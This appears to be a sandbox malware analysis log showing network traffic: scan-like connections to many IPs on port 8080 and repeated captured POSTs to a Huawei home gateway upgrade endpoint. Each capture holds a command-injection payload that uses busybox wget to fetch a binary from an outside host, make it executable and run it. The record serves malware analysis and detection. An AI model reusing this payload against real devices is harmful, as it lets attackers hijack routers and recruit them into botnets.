Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.250.58.121:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.2.99.51:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.10.122.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.158.145.187:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.251.101.95:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.225.208.241:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.18.28.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.246.240.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.53.42.141:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.0.64.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.160.72.170:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.125.22.61:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.73.220.120:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.188.123.121:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.157.54.71:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.112.158.155:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.205.132.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.131.240.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.11.161.151:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.36.113.210:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.246.8.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.167.218.156:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.131.69.254:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.35.231.73:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.70.95.190:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.137.113.153:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.81.19.186:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.93.15.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.202.13.38:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.148.155.145:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.26.134.85:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.54.144.174:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.149.10.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.213.179.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.210.234.153:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.54.218.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.71.171.164:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.19.43.250:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.147.217.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.115.111.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.43.147.74:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.213.204.221:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.43.6.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.55.228.193:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.68.221.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.79.176.169:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.241.231.232:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.154.8.251:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.200.93.224:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.59.26.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.92.195.187:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.250.220.252:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.116.154.28:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.245.148.86:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.137.129.20:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.158.65.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.31.176.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.236.200.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.15.186.239:8080

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary 